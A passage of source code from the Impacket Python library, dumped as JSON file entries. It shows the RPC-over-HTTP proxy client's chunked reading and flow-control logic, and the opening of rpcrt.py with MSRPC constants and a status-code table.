CONN/C2\n        conn_c2_rpc = self.rpc_out_read_pkt()\n        conn_c2_pdu = RTSHeader(conn_c2_rpc)['pduData']\n        conn_c2 = CONN_C2_RTS_PDU(conn_c2_pdu)\n        self.__serverReceiveWindowSize = conn_c2['ReceiveWindowSize']['ReceiveWindowSize']\n\n    def get_socket_in(self):\n        return self.__channels['RPC_IN_DATA'].sock\n\n    def get_socket_out(self):\n        return self.__channels['RPC_OUT_DATA'].sock\n\n    def close_rpc_in_channel(self):\n        return self.__channels['RPC_IN_DATA'].close()\n\n    def close_rpc_out_channel(self):\n        return self.__channels['RPC_OUT_DATA'].close()\n\n    def check_http_error(self, buffer):\n        if buffer[:22] == b'HTTP/1.0 503 RPC Error':\n            raise RPCProxyClientException('RPC Proxy request failed', proxy_error=buffer)\n\n    def rpc_out_recv1(self, amt=None):\n        # Read with at most one underlying system call.\n        # The function MUST return the maximum amt bytes.\n        #\n        # Strictly speaking, it may cause more than one read,\n        # but that is ok, since that is to satisfy the chunked protocol.\n        sock = self.get_socket_out()\n\n        if self.__serverChunked is False:\n            if len(self.__readBuffer) > 0:\n                buffer = self.__readBuffer\n                self.__readBuffer = b''\n            else:\n                # Let's read RECV_SIZE bytes and not amt bytes.\n                # We would need to check the answer for HTTP errors, as\n                # they can just appear in the middle of the stream.\n                buffer = sock.recv(self.RECV_SIZE)\n\n            self.check_http_error(buffer)\n\n            if len(buffer) <= amt:\n                return buffer\n\n            # We received more than we need\n            self.__readBuffer = buffer[amt:]\n            return buffer[:amt]\n\n        # Check if the previous chunk is still there\n        if self.__chunkLeft > 0:\n            # If the previous chunk is still there,\n            # just give the caller what we already have\n            if amt >= self.__chunkLeft:\n                buffer = self.__readBuffer[:self.__chunkLeft]\n                # We may have recieved a part of a new chunk\n                self.__readBuffer = self.__readBuffer[self.__chunkLeft + 2:]\n                self.__chunkLeft = 0\n\n                return buffer\n            else:\n                buffer = self.__readBuffer[:amt]\n                self.__readBuffer = self.__readBuffer[amt:]\n                self.__chunkLeft -= amt\n\n                return buffer\n\n        # Let's start to process a new chunk\n        buffer = self.__readBuffer\n        self.__readBuffer = b''\n\n        self.check_http_error(buffer)\n\n        # Let's receive a chunk size field which ends with CRLF\n        # For Microsoft TMG 2010 it can cause more than one read\n        while buffer.find(b'\\r\\n') == -1:\n            buffer += sock.recv(self.RECV_SIZE)\n            self.check_http_error(buffer)\n\n        chunksize = int(buffer[:buffer.find(b'\\r\\n')], 16)\n        buffer = buffer[buffer.find(b'\\r\\n') + 2:]\n\n        # Let's read at least our chunk including final CRLF\n        while len(buffer) - 2 < chunksize:\n            buffer += sock.recv(chunksize - len(buffer) + 2)\n\n        # We should not be using any information from\n        # the TCP level to determine HTTP boundaries.\n        # So, we may have received more than we need.\n        if len(buffer) - 2 > chunksize:\n            self.__readBuffer = buffer[chunksize + 2:]\n            buffer = buffer[:chunksize + 2]\n\n        # Checking the amt\n        if len(buffer) - 2 > amt:\n            self.__chunkLeft = chunksize - amt\n            # We may have recieved a part of a new chunk before,\n            # so the concatenation is crucual\n            self.__readBuffer = buffer[amt:] + self.__readBuffer\n\n            return buffer[:amt]\n        else:\n            # Removing CRLF\n            return buffer[:-2]\n\n    def send(self, data, forceWriteAndx=0, forceRecv=0):\n        # We don't use chunked encoding for IN channel as\n        # Microsoft software is developed this way.\n        # If you do this, it may fail.\n        self.get_socket_in().send(data)\n\n    def rpc_out_read_pkt(self, handle_rts=False):\n        while True:\n            response_data = b''\n\n            # Let's receive common RPC header and no more\n            #\n            # C706\n            # 12.4 Common Fields\n            # Header encodings differ between connectionless and connection-oriented PDUs.\n            # However, certain fields use common sets of values with a consistent\n            # interpretation across the two protocols.\n            #\n            # This MUST recv MSRPCHeader._SIZE bytes, and not MSRPCRespHeader._SIZE bytes!\n            #\n            while len(response_data) < MSRPCHeader._SIZE:\n                response_data += self.rpc_out_recv1(MSRPCHeader._SIZE - len(response_data))\n\n            response_header = MSRPCHeader(response_data)\n\n            # frag_len contains the full length of the packet for both\n            # MSRPC and RTS\n            frag_len = response_header['frag_len']\n\n            # Receiving the full pkt and no more\n            while len(response_data) < frag_len:\n               response_data += self.rpc_out_recv1(frag_len - len(response_data))\n\n            # We need to do the Flow Control procedures\n            #\n            # 3.2.1.1.4\n            # This protocol specifies that only RPC PDUs are subject to the flow control abstract data\n            # model. RTS PDUs and the HTTP request and response headers are not subject to flow control.\n            if response_header['type'] != MSRPC_RTS:\n                self.flow_control(frag_len)\n\n            if handle_rts is True and response_header['type'] == MSRPC_RTS:\n                self.handle_out_of_sequence_rts(response_data)\n            else:\n                return response_data\n\n    def recv(self, forceRecv=0, count=0):\n        return self.rpc_out_read_pkt(handle_rts=True)\n\n    def handle_out_of_sequence_rts(self, response_data):\n        packet = RTSHeader(response_data)\n\n        #print(\"=========== RTS PKT ===========\")\n        #print(\"RAW: %s\" % binascii.hexlify(response_data))\n        #packet.dump()\n        #\n        #pduData = packet['pduData']\n        #numberOfCommands = packet['NumberOfCommands']\n        #\n        #server_cmds = []\n        #while numberOfCommands > 0:\n        #    numberOfCommands -= 1\n        #\n        #    cmd_type = unpack('<L', pduData[:4])[0]\n        #    cmd = COMMANDS[cmd_type](pduData)\n        #    server_cmds.append(cmd)\n        #    pduData = pduData[len(cmd):]\n        #\n        #for cmd in server_cmds:\n        #    cmd.dump()\n        #print(\"=========== / RTS PKT ===========\")\n\n        # 2.2.4.49 Ping RTS PDU\n        if packet['Flags'] == RTS_FLAG_PING:\n            # 3.2.1.2.1 PingTimer\n            #\n            # If the SendingChannel is part of a Virtual Connection in the Outbound Proxy or Client roles, the\n            # SendingChannel maintains a PingTimer that on expiration indicates a PING PDU must be sent to the\n            # receiving channel. The PING PDU is sent to the receiving channel when no data has been sent within\n            # half of the value of the KeepAliveInterval.\n\n            # As we do not do long-term connections with no data transfer,\n            # it means something on the server-side is going wrong.\n            self.rts_ping_received = True\n            LOG.error(\"Ping RTS PDU packet received. Is the RPC Server alive?\")\n\n            # Just in case it's a long operation, let's send PING PDU to IN Channel like in xfreerdp\n            # It's better to send more than one PING packet as it only 20 bytes long\n            packet = hPing()\n            self.send(packet)\n            self.send(packet)\n        # 2.2.4.24 OUT_R1/A2 RTS PDU\n        elif packet['Flags'] == RTS_FLAG_RECYCLE_CHANNEL:\n            raise RPCProxyClientException(\"The server requested recycling of a virtual OUT channel, \" \\\n                \"but this function is not supported!\")\n        # Ignore all other messages, most probably flow control acknowledgments\n        else:\n            pass\n\n    def flow_control(self, frag_len):\n        self.__bytesReceived += frag_len\n        self.__receiverAvailableWindow -= frag_len\n\n        if (self.__receiverAvailableWindow < self.__availableWindowAdvertised // 2):\n            self.__receiverAvailableWindow = self.__availableWindowAdvertised\n            packet = hFlowControlAckWithDestination(FDOutProxy, self.__bytesReceived,\n                self.__availableWindowAdvertised, self.__outChannelCookie)\n            self.send(packet)\n\n    def connect(self):\n        self.create_rpc_in_channel()\n        self.create_rpc_out_channel()\n        self.create_tunnel()\n\n    def disconnect(self):\n        self.close_rpc_in_channel()\n        self.close_rpc_out_channel()\n        self.init_state()\n"
  },
  {
    "path": "impacket/dcerpc/v5/rpcrt.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Partial C706.pdf + [MS-RPCE] implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n# ToDo:\n#   [ ] Take out all the security provider stuff out of here (e.g. RPC_C_AUTHN_WINNT)\n#       and put it elsewhere. This will make the coder cleaner and easier to add\n#       more SSP (e.g. NETLOGON)\n# \n\nimport logging\nimport socket\nimport sys\nfrom binascii import unhexlify\nfrom Cryptodome.Cipher import ARC4\n\nfrom impacket import ntlm, LOG\nfrom impacket.structure import Structure,pack,unpack\nfrom impacket.krb5 import kerberosv5, gssapi\nfrom impacket.uuid import uuidtup_to_bin, generate, stringver_to_bin, bin_to_uuidtup, bin_to_string\nfrom impacket.dcerpc.v5.dtypes import UCHAR, ULONG, USHORT\nfrom impacket.dcerpc.v5.ndr import NDRSTRUCT\nfrom impacket import hresult_errors\nfrom threading import Thread\n\n# MS/RPC Constants\nMSRPC_REQUEST   = 0x00\nMSRPC_PING      = 0x01\nMSRPC_RESPONSE  = 0x02\nMSRPC_FAULT     = 0x03\nMSRPC_WORKING   = 0x04\nMSRPC_NOCALL    = 0x05\nMSRPC_REJECT    = 0x06\nMSRPC_ACK       = 0x07\nMSRPC_CL_CANCEL = 0x08\nMSRPC_FACK      = 0x09\nMSRPC_CANCELACK = 0x0A\nMSRPC_BIND      = 0x0B\nMSRPC_BINDACK   = 0x0C\nMSRPC_BINDNAK   = 0x0D\nMSRPC_ALTERCTX  = 0x0E\nMSRPC_ALTERCTX_R= 0x0F\nMSRPC_AUTH3     = 0x10\nMSRPC_SHUTDOWN  = 0x11\nMSRPC_CO_CANCEL = 0x12\nMSRPC_ORPHANED  = 0x13\nMSRPC_RTS       = 0x14\n\nmsrpc_message_type = {\n    0x00: 'MSRPC REQUEST',\n    0x01: 'MSRPC PING',\n    0x02: 'MSRPC RESPONSE',\n    0x03: 'MSRPC FAULT',\n    0x04: 'MSRPC WORKING',\n    0x05: 'MSRPC NOCALL',\n    0x06: 'MSRPC REJECT',\n    0x07: 'MSRPC ACK',\n    0x08: 'MSRPC CL CANCEL',\n    0x09: 'MSRPC FACK',\n    0x0A: 'MSRPC CANCELACK',\n    0x0B: 'MSRPC BIND',\n    0x0C: 'MSRPC BINDACK',\n    0x0D: 'MSRPC BINDNAK',\n    0x0E: 'MSRPC ALTERCTX',\n    0x0F: 'MSRPC ALTERCTX R',\n    0x10: 'MSRPC AUTH3',\n    0x11: 'MSRPC SHUTDOWN',\n    0x12: 'MSRPC CO CANCEL',\n    0x13: 'MSRPC ORPHANED'\n}\n\n# MS/RPC Packet Flags\nPFC_FIRST_FRAG     = 0x01\nPFC_LAST_FRAG      = 0x02\n\n# For PDU types bind, bind_ack, alter_context, and\n# alter_context_resp, this flag MUST be interpreted as PFC_SUPPORT_HEADER_SIGN\nMSRPC_SUPPORT_SIGN  = 0x04\n\n#For the\n#remaining PDU types, this flag MUST be interpreted as PFC_PENDING_CANCEL.\nMSRPC_PENDING_CANCEL= 0x04\n\nPFC_RESERVED_1      = 0x08\nPFC_CONC_MPX        = 0x10\nPFC_DID_NOT_EXECUTE = 0x20\nPFC_MAYBE           = 0x40\nPFC_OBJECT_UUID     = 0x80\n\n# Auth Types - Security Providers\nRPC_C_AUTHN_NONE          = 0x00\nRPC_C_AUTHN_GSS_NEGOTIATE = 0x09\nRPC_C_AUTHN_WINNT         = 0x0A\nRPC_C_AUTHN_GSS_SCHANNEL  = 0x0E\nRPC_C_AUTHN_GSS_KERBEROS  = 0x10\nRPC_C_AUTHN_NETLOGON      = 0x44\nRPC_C_AUTHN_DEFAULT       = 0xFF\n\n# Auth Levels\nRPC_C_AUTHN_LEVEL_NONE          = 1\nRPC_C_AUTHN_LEVEL_CONNECT       = 2\nRPC_C_AUTHN_LEVEL_CALL          = 3\nRPC_C_AUTHN_LEVEL_PKT           = 4\nRPC_C_AUTHN_LEVEL_PKT_INTEGRITY = 5\nRPC_C_AUTHN_LEVEL_PKT_PRIVACY   = 6\n\n#Reasons for rejection of a context element, included in bind_ack result reason\nrpc_provider_reason = {\n    0       : 'reason_not_specified',\n    1       : 'abstract_syntax_not_supported',\n    2       : 'proposed_transfer_syntaxes_not_supported',\n    3       : 'local_limit_exceeded',\n    4       : 'protocol_version_not_specified',\n    8       : 'authentication_type_not_recognized',\n    9       : 'invalid_checksum'\n}\n\nMSRPC_CONT_RESULT_ACCEPT = 0\nMSRPC_CONT_RESULT_USER_REJECT = 1\nMSRPC_CONT_RESULT_PROV_REJECT = 2\nMSRPC_CONT_RESULT_NEGOTIATE_ACK = 3\n\n#Results of a presentation context negotiation\nrpc_cont_def_result = {\n    0       : 'acceptance',\n    1       : 'user_rejection',\n    2       : 'provider_rejection'\n}\n\n#status codes, references:\n#https://docs.microsoft.com/windows/desktop/Rpc/rpc-return-values\n#https://msdn.microsoft.com/library/default.asp?url=/library/en-us/randz/protocol/common_return_values.asp\n#winerror.h\n#https://www.opengroup.org/onlinepubs/9629399/apdxn.htm\n\nrpc_status_codes = {\n    0x00000005 : 'rpc_s_access_denied',\n    0x00000008 : 'Authentication type not recognized',\n    0x000006D8 : 'rpc_fault_cant_perform', \n    0x000006C6 : 'rpc_x_invalid_bound',                # the arrays bound are invalid\n    0x000006E4 : 'rpc_s_cannot_support: The requested operation is not supported.',               # some operation is not supported\n    0x000006F7 : 'rpc_x_bad_stub_data',                # the stub data is invalid, doesn't match with the IDL definition\n    0x1C010001 : 'nca_s_comm_failure',                 # unable to get response from server:\n    0x1C010002 : 'nca_s_op_rng_error',                 # bad operation number in call\n    0x1C010003 : 'nca_s_unk_if',                       # unknown interface\n    0x1C010006 : 'nca_s_wrong_boot_time',              # client passed server wrong server boot time\n    0x1C010009 : 'nca_s_you_crashed',                  # a restarted server called back a client\n    0x1C01000B : 'nca_s_proto_error',                  # someone messed up the protocol\n    0x1C010013 : 'nca_s_out_args_too_big ',            # output args too big\n    0x1C010014 : 'nca_s_server_too_busy',              # server is too busy to handle call\n    0x1C010015 : 'nca_s_fault_string_too_long',        # string argument longer than declared max len\n    0x1C010017 : 'nca_s_unsupported_type ',            # no implementation of generic operation for object\n    0x1C000001 : 'nca_s_fault_int_div_by_zero',\n    0x1C000002 : 'nca_s_fault_addr_error ',\n    0x1C000003 : 'nca_s_fault_fp_div_zero',\n    0x1C000004 : 'nca_s_fault_fp_underflow',\n    0x1C000005 : 'nca_s_fault_fp_overflow',\n    0x1C000006 : 'nca_s_fault_invalid_tag',\n    0x1C000007 : 'nca_s_fault_invalid_bound ',\n    0x1C000008 : 'nca_s_rpc_version_mismatch',\n    0x1C000009 : 'nca_s_unspec_reject ',\n    0x1C00000A : 'nca_s_bad_actid',\n    0x1C00000B : 'nca_s_who_are_you_failed',\n    0x1C00000C : 'nca_s_manager_not_entered ',\n    0x1C00000D : 'nca_s_fault_cancel',\n    0x1C00000E : 'nca_s_fault_ill_inst',\n    0x1C00000F : 'nca_s_fault_fp_error',\n    0x1C000010 : 'nca_s_fault_int_overflow',\n    0x1C000012 : 'nca_s_fault_unspec',\n    0x1C000013 : 'nca_s_fault_remote_comm_failure ',\n    0x1C000014 : 'nca_s_fault_pipe_empty ',\n    0x1C000015 : 'nca_s_fault_pipe_closed',\n    0x1C000016 : 'nca_s_fault_pipe_order ',\n    0x1C000017 : 'nca_s_fault_pipe_discipline',\n    0x1C000018 : 'nca_s_fault_pipe_comm_error',\n    0x1C000019 : 'nca_s_fault_pipe_memory',\n    0x1C00001A : 'nca_s_fault_context_mismatch ',\n    0x1C00001B : 'nca_s_fault_remote_no_memory ',\n    0x1C00001C : 'nca_s_invalid_pres_context_id',\n    0x1C00001D : 'nca_s_unsupported_authn_level',\n    0x1C00001F : 'nca_s_invalid_checksum ',\n    0x1C000020 : 'nca_s_invalid_crc',\n    0x1C000021 : 'nca_s_fault_user_defined',\n    0x1C000022 : 'nca_s_fault_tx_open_failed',\n    0x1C000023 : 'nca_s_fault_codeset_conv_error',\n    0x1C000024 : 'nca_s_fault_object_not_found ',\n    0x1C000025 : 'nca_s_fault_no_client_stub',\n    0x16c9a000 : \"rpc_s_mod\",\n    0x16c9a001 : \"rpc_s_op_rng_error\",\n    0x16c9a002 : \"rpc_s_cant_create_socket\",\n    0x16c9a003 : \"rpc_s_cant_bind_socket\",\n    0x16c9a004 : \"rpc_s_not_in_call\",\n    0x16c9a005 : \"rpc_s_no_port\",\n    0x16c9a006 : \"rpc_s_wrong_boot_time\",\n    0x16c9a007 : \"rpc_s_too_many_sockets\",\n    0x16c9a008 : \"rpc_s_illegal_register\",\n    0x16c9a009 : \"rpc_s_cant_recv\",\n    0x16c9a00a : \"rpc_s_bad_pkt\",\n    0x16c9a00b : \"rpc_s_unbound_handle\",\n    0x16c9a00c : \"rpc_s_addr_in_use\",\n    0x16c9a00d : \"rpc_s_in_args_too_big\",\n    0x16c9a00e : \"rpc_s_string_too_long\",\n    0x16c9a00f : \"rpc_s_too_many_objects\",\n    0x16c9a010 : \"rpc_s_binding_has_no_auth\",\n    0x16c9a011 : \"rpc_s_unknown_authn_service\",\n    0x16c9a012 : \"rpc_s_no_memory\",\n    0x16c9a013 : \"rpc_s_cant_nmalloc\",\n    0x16c9a014 : \"rpc_s_call_faulted\",\n    0x16c9a015 : \"rpc_s_call_failed\",\n    0x16c9a016 : \"rpc_s_comm_failure\",\n    0x16c9a017 : \"rpc_s_rpcd_comm_failure\",\n    0x16c9a018 : \"rpc_s_illegal_family_rebind\",\n    0x16c9a019 : \"rpc_s_invalid_handle\",\n    0x16c9a01a : \"rpc_s_coding_error\",\n    0x16c9a01b : \"rpc_s_object_not_found\",\n    0x16c9a01c : \"rpc_s_cthread_not_found\",\n    0x16c9a01d : \"rpc_s_invalid_binding\",\n    0x16c9a01e : \"rpc_s_already_registered\",\n    0x16c9a01f : \"rpc_s_endpoint_not_found\",\n    0x16c9a020 : \"rpc_s_invalid_rpc_protseq\",\n    0x16c9a021 : \"rpc_s_desc_not_registered\",\n    0x16c9a022 : \"rpc_s_already_listening\",\n    0x16c9a023 : \"rpc_s_no_protseqs\",\n    0x16c9a024 : \"rpc_s_no_protseqs_registered\",\n    0x16c9a025 : \"rpc_s_no_bindings\",\n    0x16c9a026 : \"rpc_s_max_descs_exceeded\",\n    0x16c9a027 : \"rpc_s_no_interfaces\",\n    0x16c9a028 : \"rpc_s_invalid_timeout\",\n    0x16c9a029 : \"rpc_s_cant_inq_socket\",\n    0x16c9a02a : \"rpc_s_invalid_naf_id\",\n    0x16c9a02b : \"rpc_s_inval_net_addr\",\n    0x16c9a02c : \"rpc_s_unknown_if\",\n    0x16c9a02d : \"rpc_s_unsupported_type\",\n    0x16c9a02e : \"rpc_s_invalid_call_opt\",\n    0x16c9a02f : \"rpc_s_no_fault\",\n    0x16c9a030 : \"rpc_s_cancel_timeout\",\n    0x16c9a031 : \"rpc_s_call_cancelled\",\n    0x16c9a032 : \"rpc_s_invalid_call_handle\",\n    0x16c9a033 : \"rpc_s_cannot_alloc_assoc\",\n    0x16c9a034 : \"rpc_s_cannot_connect\",\n    0x16c9a035 : \"rpc_s_connection_aborted\",\n    0x16c9a036 : \"rpc_s_connection_closed\",\n    0x16c9a037 : \"rpc_s_cannot_accept\",\n    0x16c9a038 : \"rpc_s_assoc_grp_not_found\",\n    0x16c9a039 : \"rpc_s_stub_interface_error\",\n    0x16c9a03a : \"rpc_s_invalid_object\",\n    0x16c9a03b : \"rpc_s_invalid_type\",\n    0x16c9a03c : \"rpc_s_invalid_if_opnum\",\n    0x16c9a03d : \"rpc_s_different_server_instance\",\n    0x16c9a03e : \"rpc_s_protocol_error\",\n    0x16c9a03f : \"rpc_s_cant_recvmsg\",\n    0x16c9a040 : \"rpc_s_invalid_string_binding\",\n    0x16c9a041 : \"rpc_s_connect_timed_out\",\n    0x16c9a042 : \"rpc_s_connect_rejected\",\n    0x16c9a043 : \"rpc_s_network_unreachable\",\n    0x16c9a044 : \"rpc_s_connect_no_resources\",\n    0x16c9a045 : \"rpc_s_rem_network_shutdown\",\n    0x16c9a046 : \"rpc_s_too_many_rem_connects\",\n    0x16c9a047 : \"rpc_s_no_rem_endpoint\",\n    0x16c9a048 : \"rpc_s_rem_host_down\",\n    0x16c9a049 : \"rpc_s_host_unreachable\",\n    0x16c9a04a : \"rpc_s_access_control_info_inv\",\n    0x16c9a04b : \"rpc_s_loc_connect_aborted\",\n    0x16c9a04c : \"rpc_s_connect_closed_by_rem\",\n    0x16c9a04d : \"rpc_s_rem_host_crashed\",\n    0x16c9a04e : \"rpc_s_invalid_endpoint_format\",\n    0x16c9a04f : \"rpc_s_unknown_status_code\",\n    0x16c9a050 : \"rpc_s_unknown_mgr_type\",\n    0x16c9a051 : \"rpc_s_assoc_creation_failed\",\n    0x16c9a052 : \"rpc_s_assoc_grp_max_exceeded\",\n    0x16c9a053 : \"rpc_s_assoc_grp_alloc_failed\",\n    0x16c9a054 : \"rpc_s_sm_invalid_state\",\n    0x16c9a055 : \"rpc_s_assoc_req_rejected\",\n    0x16c9a056 : \"rpc_s_assoc_shutdown\",\n    0x16c9a057 : \"rpc_s_tsyntaxes_unsupported\",\n    0x16c9a058 : \"rpc_s_context_id_not_found\",\n    0x16c9a059 : \"rpc_s_cant_listen_socket\",\n    0x16c9a05a : \"rpc_s_no_addrs\",\n    0x16c9a05b : \"rpc_s_cant_getpeername\",\n    0x16c9a05c : \"rpc_s_cant_get_if_id\",\n    0x16c9a05d : \"rpc_s_protseq_not_supported\",\n    0x16c9a05e : \"rpc_s_call_orphaned\",\n    0x16c9a05f : \"rpc_s_who_are_you_failed\",\n    0x16c9a060 : \"rpc_s_unknown_reject\",\n    0x16c9a061 : \"rpc_s_type_already_registered\",\n    0x16c9a062 : \"rpc_s_stop_listening_disabled\",\n    0x16c9a063 : \"rpc_s_invalid_arg\",\n    0x16c9a064 : \"rpc_s_not_supported\",\n    0x16c9a065 : \"rpc_s_wrong_kind_of_binding\",\n    0x16c9a066 : \"rpc_s_authn_authz_mismatch\",\n    0x16c9a067 : \"rpc_s_call_queued\",\n    0x16c9a068 : \"rpc_s_cannot_set_nodelay\",\n    0x16c9a069 : \"rpc_s_not_rpc_tower\",\n    0x16c9a06a : \"rpc_s_invalid_rpc_protid\",\n    0x16c9a06b : \"rpc_s_invalid_rpc_floor\",\n    0x16c9a06c : \"rpc_s_call_timeout\",\n    0x16c9a06d : \"rpc_s_mgmt_op_disallowed\",\n    0x16c9a06e : \"rpc_s_manager_not_entered\",\n    0x16c9a06f : \"rpc_s_calls_too_large_for_wk_ep\",\n    0x16c9a070 : \"rpc_s_server_too_busy\",\n    0x16c9a071 : \"rpc_s_prot_version_mismatch\",\n    0x16c9a072 : \"rpc_s_rpc_prot_version_mismatch\",\n    0x16c9a073 : \"rpc_s_ss_no_import_cursor\",\n    0x16c9a074 : \"rpc_s_fault_addr_error\",\n    0x16c9a075 : \"rpc_s_fault_context_mismatch\",\n    0x16c9a076 : \"rpc_s_fault_fp_div_by_zero\",\n    0x16c9a077 : \"rpc_s_fault_fp_error\",\n    0x16c9a078 : \"rpc_s_fault_fp_overflow\",\n    0x16c9a079 : \"rpc_s_fault_fp_underflow\",\n    0x16c9a07a : \"rpc_s_fault_ill_inst\",\n    0x16c9a07b : \"rpc_s_fault_int_div_by_zero\",\n    0x16c9a07c : \"rpc_s_fault_int_overflow\",\n    0x16c9a07d : \"rpc_s_fault_invalid_bound\",\n    0x16c9a07e : \"rpc_s_fault_invalid_tag\",\n    0x16c9a07f : \"rpc_s_fault_pipe_closed\",\n    0x16c9a080 : \"rpc_s_fault_pipe_comm_error\",\n    0x16c9a081 : \"rpc_s_fault_pipe_discipline\",\n    0x16c9a082 : \"rpc_s_fault_pipe_empty\",\n    0x16c9a083 : \"rpc_s_fault_pipe_memory\",\n    0x16c9a084 : \"rpc_s_fault_pipe_order\",\n    0x16c9a085 : \"rpc_s_fault_remote_comm_failure\",\n    0x16c9a086 : \"rpc_s_fault_remote_no_memory\",\n    0x16c9a087 : \"rpc_s_fault_unspec\",\n    0x16c9a088 : \"uuid_s_bad_version\",\n    0x16c9a089 : \"uuid_s_socket_failure\",\n    0x16c9a08a : \"uuid_s_getconf_failure\",\n    0x16c9a08b : \"uuid_s_no_address\",\n    0x16c9a08c : \"uuid_s_overrun\",\n    0x16c9a08d : \"uuid_s_internal_error\",\n    0x16c9a08e : \"uuid_s_coding_error\",\n    0x16c9a08f : \"uuid_s_invalid_string_uuid\",\n    0x16c9a090 : \"uuid_s_no_memory\",\n    0x16c9a091 : \"rpc_s_no_more_entries\",\n    0x16c9a092 : \"rpc_s_unknown_ns_error\",\n    0x16c9a093 : \"rpc_s_name_service_unavailable\",\n    0x16c9a094 : \"rpc_s_incomplete_name\",\n    0x16c9a095 : \"rpc_s_group_not_found\",\n    0x16c9a096 : \"rpc_s_invalid_name_syntax\",\n    0x16c9a097 : \"rpc_s_no_more_members\",\n    0x16c9a098 : \"rpc_s_no_more_interfaces\",\n    0x16c9a099 : \"rpc_s_invalid_name_service\",\n    0x16c9a09a : \"rpc_s_no_name_mapping\",\n    0x16c9a09b : \"rpc_s_profile_not_found\",\n    0x16c9a09c : \"rpc_s_not_found\",\n    0x16c9a09d : \"rpc_s_no_updates\",\n    0x16c9a09e : \"rpc_s_update_failed\",\n    0x16c9a09f : \"rpc_s_no_match_exported\",\n    0x16c9a0a0 : \"rpc_s_entry_not_found\",\n    0x16c9a0a1 : \"rpc_s_invalid_inquiry_context\",\n    0x16c9a0a2 : \"rpc_s_interface_not_found\",\n    0x16c9a0a3 : \"rpc_s_group_member_not_found\",\n    0x16c9a0a4 : \"rpc_s_entry_already_exists\",\n    0x16c9a0a5 : \"rpc_s_nsinit_failure\",\n    0x16c9a0a6 : \"rpc_s_unsupported_name_syntax\",\n    0x16c9a0a7 : \"rpc_s_no_more_elements\",\n    0x16c9a0a8 : \"rpc_s_no_ns_permission\",\n    0x16c9a0a9 : \"rpc_s_invalid_inquiry_type\",\n    0x16c9a0aa : \"rpc_s_profile_element_not_found\",\n    0x16c9a0ab : \"rpc_s_profile_element_replaced\",\n    0x16c9a0ac : \"rpc_s_import_already_done\",\n    0x16c9a0ad : \"rpc_s_database_busy\",\n    0x16c9a0ae : \"rpc_s_invalid_import_context\",\n    0x16c9a0af : \"rpc_s_uuid_set_not_found\",\n    0x16c9a0b0 : \"rpc_s_uuid_member_not_found\",\n    0x16c9a0b1 : \"rpc_s_no_interfaces_exported\",\n    0x16c9a0b2 : \"rpc_s_tower_set_not_found\",\n    0x16c9a0b3 : \"rpc_s_tower_member_not_found\",\n    0x16c9a0b4 : \"rpc_s_obj_uuid_not_found\",\n    0x16c9a0b5 : \"rpc_s_no_more_bindings\",\n    0x16c9a0b6 : \"rpc_s_invalid_priority\",\n    0x16c9a0b7 : \"rpc_s_not_rpc_entry\",\n    0x16c9a0b8 : \"rpc_s_invalid_lookup_context\",\n    0x16c9a0b9 : \"rpc_s_binding_vector_full\",\n    0x16c9a0ba : \"rpc_s_cycle_detected\",\n    0x16c9a0bb : \"rpc_s_nothing_to_export\",\n    0x16c9a0bc : \"rpc_s_nothing_to_unexport\",\n    0x16c9a0bd : \"rpc_s_invalid_vers_option\",\n    0x16c9a0be : \"rpc_s_no_rpc_data\",\n    0x16c9a0bf : \"rpc_s_mbr_picked\",\n    0x16c9a0c0 : \"rpc_s_not_all_objs_unexported\",\n    0x16c9a0c1 : \"rpc_s_no_entry_name\",\n    0x16c9a0c2 : \"rpc_s_priority_group_done\",\n    0x16c9a0c3 : \"rpc_s_partial_results\",\n    0x16c9a0c4 : \"rpc_s_no_env_setup\",\n    0x16c9a0c5 : \"twr_s_unknown_sa\",\n    0x16c9a0c6 : \"twr_s_unknown_tower\",\n    0x16c9a0c7 : \"twr_s_not_implemented\",\n    0x16c9a0c8 : \"rpc_s_max_calls_too_small\",\n    0x16c9a0c9 : \"rpc_s_cthread_create_failed\",\n    0x16c9a0ca : \"rpc_s_cthread_pool_exists\",\n    0x16c9a0cb : \"rpc_s_cthread_no_such_pool\",\n    0x16c9a0cc : \"rpc_s_cthread_invoke_disabled\",\n    0x16c9a0cd : \"ept_s_cant_perform_op\",\n    0x16c9a0ce : \"ept_s_no_memory\",\n    0x16c9a0cf : \"ept_s_database_invalid\",\n    0x16c9a0d0 : \"ept_s_cant_create\",\n    0x16c9a0d1 : \"ept_s_cant_access\",\n    0x16c9a0d2 : \"ept_s_database_already_open\",\n    0x16c9a0d3 : \"ept_s_invalid_entry\",\n    0x16c9a0d4 : \"ept_s_update_failed\",\n    0x16c9a0d5 : \"ept_s_invalid_context\",\n    0x16c9a0d6 : \"ept_s_not_registered\",\n    0x16c9a0d7 : \"ept_s_server_unavailable\",\n    0x16c9a0d8 : \"rpc_s_underspecified_name\",\n    0x16c9a0d9 : \"rpc_s_invalid_ns_handle\",\n    0x16c9a0da : \"rpc_s_unknown_error\",\n    0x16c9a0db : \"rpc_s_ss_char_trans_open_fail\",\n    0x16c9a0dc : \"rpc_s_ss_char_trans_short_file\",\n    0x16c9a0dd : \"rpc_s_ss_context_damaged\",\n    0x16c9a0de : \"rpc_s_ss_in_null_context\",\n    0x16c9a0df : \"rpc_s_socket_failure\",\n    0x16c9a0e0 : \"rpc_s_unsupported_protect_level\",\n    0x16c9a0e1 : \"rpc_s_invalid_checksum\",\n    0x16c9a0e2 : \"rpc_s_invalid_credentials\",\n    0x16c9a0e3 : \"rpc_s_credentials_too_large\",\n    0x16c9a0e4 : \"rpc_s_call_id_not_found\",\n    0x16c9a0e5 : \"rpc_s_key_id_not_found\",\n    0x16c9a0e6 : \"rpc_s_auth_bad_integrity\",\n    0x16c9a0e7 : \"rpc_s_auth_tkt_expired\",\n    0x16c9a0e8 : \"rpc_s_auth_tkt_nyv\",\n    0x16c9a0e9 : \"rpc_s_auth_repeat\",\n    0x16c9a0ea : \"rpc_s_auth_not_us\",\n    0x16c9a0eb : \"rpc_s_auth_badmatch\",\n    0x16c9a0ec : \"rpc_s_auth_skew\",\n    0x16c9a0ed : \"rpc_s_auth_badaddr\",\n    0x16c9a0ee : \"rpc_s_auth_badversion\",\n    0x16c9a0ef : \"rpc_s_auth_msg_type\",\n    0x16c9a0f0 : \"rpc_s_auth_modified\",\n    